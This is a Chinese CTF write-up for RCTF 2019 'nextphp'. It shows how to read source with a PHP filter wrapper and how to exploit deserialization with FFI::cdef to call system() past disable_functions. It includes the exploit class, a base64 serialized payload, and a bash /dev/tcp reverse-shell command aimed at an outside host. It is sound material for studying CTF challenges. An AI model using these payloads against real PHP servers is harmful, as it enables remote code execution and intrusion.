• [RCTF 2019]nextphp



    考点

    PHP伪协议、反序列化、FFI

    前置知识

    PHP RFC:预加载

    官方文档
    通过查看该文档,在最下面找到预加载结合FFI的危害

    在这里插入图片描述

    FFI基本用法

    官方文档
    查看文档,可以看到给出的第一个例子
    执行过程为创建 FFI 对象,加载 libc 并导出函数 printf()

    printf("Hello %s!\n", "world");
    
    • 1
    • 2
    • 3
    • 4
    • 5

    不难发现,FFI可以从共享库调用函数
    使用方法如下

    FFI::cdef(“int system(const char* command)”, “libc.so.6”)
    
    • 1

    第一个参数为在C代码中的函数原型;第二个参数为指定的共享库,但在不指定第二个参数的情况下,会在默认路径下进行搜索。一般来说也能找到想要的函数,那么我们是否可以绕过disable_function的限制?

    PHP RFC:新的自定义对象序列化机制

    官方文档

    在php版本7.4或更高的版本中将 __serialize()__unserialize() 添加到类中,而无需考虑兼容性

    文档中给出了实例

    class A implements Serializable {
        private $prop;
        public function serialize() {
            return serialize($this->prop);
        }
        public function unserialize($payload) {
            $this->prop = unserialize($payload);
        }
    }
    class B extends A {
        private $prop;
        public function serialize() {
            return serialize([$this->prop, parent::serialize()])
        }
        public function unserialize($payload) {
            [$prop, $parent] = unserialize($payload);
            parent::unserialize($parent);
            $this->prop = $prop;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    作者指出这种形式的代码无法可靠运行,因为嵌套的 serialize() 和 unserialize() 调用是以不同顺序执行的

    因为在序列化过程中,首先执行 A::serialize() 中的 serialize() 调用,然后执行 B::serialize() 中的 serialize() 调用。相反,在解序列化过程中,首先执行 B::unserialize() 中的 unserialize() 调用,然后执行 A::unserialize() 中的 unserialize() 调用。由于调用顺序的差异,在序列化过程中创建的反向引用在解序列化过程中将不再正确。

    所以是存在漏洞的,因此作者提出引入 __serialize()和__unserialize()方法使其更安全

    如果一个类同时实现了 Serialized 和 __serialize()或者是__unserialize(),那么序列化将优先选择新机制,而反序列化可以使用其中任何一个,具体取决于是否使用 C (Serialized) 或 O (__unserialize) 格式。因此,以 C 格式编码的旧序列化字符串仍然可以被解码,而新字符串将以 O 格式生成。

    这也就是之后序列化后首字母是C而不是O。同时会先执行Serializable接口中的方法。同时exp中需要把__unserialize()删除
    (因为我们要命令执行当坏人)

    解题过程

    打开题目,源码如下

    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    简单的命令执行,我们先查看phpinfo信息搜集
    可以看到过滤了很多函数
    在这里插入图片描述然后注意到存在文件preload.php
    在这里插入图片描述
    我们结合php伪协议读取下源码

    ?a=include('php://filter/read=convert.base64-encode/resource=preload.php');
    
    • 1

    base64解码

     null,
            'func' => 'print_r',
            'arg' => '1'
        ];
    
        private function run () {
            $this->data['ret'] = $this->data['func']($this->data['arg']); 
        }
    
        public function __serialize(): array {
            return $this->data;
        }
    
        public function __unserialize(array $data) {
            array_merge($this->data, $data);
            $this->run();
        }
    
        public function serialize (): string {
            return serialize($this->data);
        }
    
        public function unserialize($payload) {
            $this->data = unserialize($payload);
            $this->run();
        }
    
        public function __get ($key) {
            return $this->data[$key];
        }
    
        public function __set ($key, $value) {
            throw new \Exception('No implemented');
        }
    
        public function __construct () {
            throw new \Exception('No implemented');
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42

    可以发现和平常做的反序列化代码不太一样,思路是调用run方法命令执行。但是问题来了,题目禁用了大部分函数,我们哪怕构造出链子也无法实现rce。

    看到该文件名preload为预加载,可以去网上搜搜相关文章(前置知识我已经贴了链接)
    发现与FFI结合会存在危害,我们在phpinfo发现为开启
    在这里插入图片描述
    那么我们就可以结合FFI语法知识,利用run()函数可以将ret变为一个外部函数接口,我们再通过ret调用系统命令,完成RCE

    不过方法究竟选哪个是有原因的,分析一下

    public function __unserialize(array $data) {
            array_merge($this->data, $data);
            $this->run();
        }
    
    public function unserialize($payload) {
            $this->data = unserialize($payload);
            $this->run();
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    我们在前置知识已经讲过php版本大于7.4会优先调用__unserialize(),看到源码处并没有我们能实现反序列化而unserialize()则有这功能,所以在构造exp我们要选择留下unserialize方法

    exp如下

     null,
            'func' => 'FFI::cdef',
            'arg' => 'int system(const char* command);'
        ];
    
        private function run () {
            $this->data['ret'] = $this->data['func']($this->data['arg']); 
        }
        public function serialize (): string {
            return serialize($this->data);
        }
    
        public function unserialize($payload) {
            $this->data = unserialize($payload);
            $this->run();
        }
    }
    
    $a=new A();
    echo base64_encode(serialize($a));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    然后构造payload

    ?a=$a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyKiBjb21tYW5kKTsiO319'))
    
    • 1

    实现了FFI::cdef("int system(const char* command);")
    只需调用即可,通过设置__serialize()['ret']的值获取flag

    $a->__serialize()['ret']->system("bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'");
    
    • 1

    整理一下得到最终payload

    ?a=$a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyKiBjb21tYW5kKTsiO319'))->__serialize()['ret']->system("bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'");
    
    • 1

    这里我没弹成功,如果有师傅会的话教教

  • 相关阅读:
    Blazor前后端框架Known-V1.2.10
    【CKS】考试之 kube-bench CIS 基准测试
    React Promise 中断
    ADAU1860调试心得(5)ADC-DAC直通程序
    到底有几个鸿蒙OS? 谈谈我眼里的鸿蒙操作系统
    WebStorm 2024.1.1 JavaScript集成开发环境 mac/win
    【计算机图形学基础】阴影映射
    支持homekit的智能生态有哪些?
    【Linux学习】跨平台开发 Linux + VS2019 环境配置(Ubantu16.04)
    Hi3861 OpenHarmony嵌入式应用入门--鸿蒙开发环境搭建
  • 原文地址:https://blog.csdn.net/m0_73512445/article/details/134293682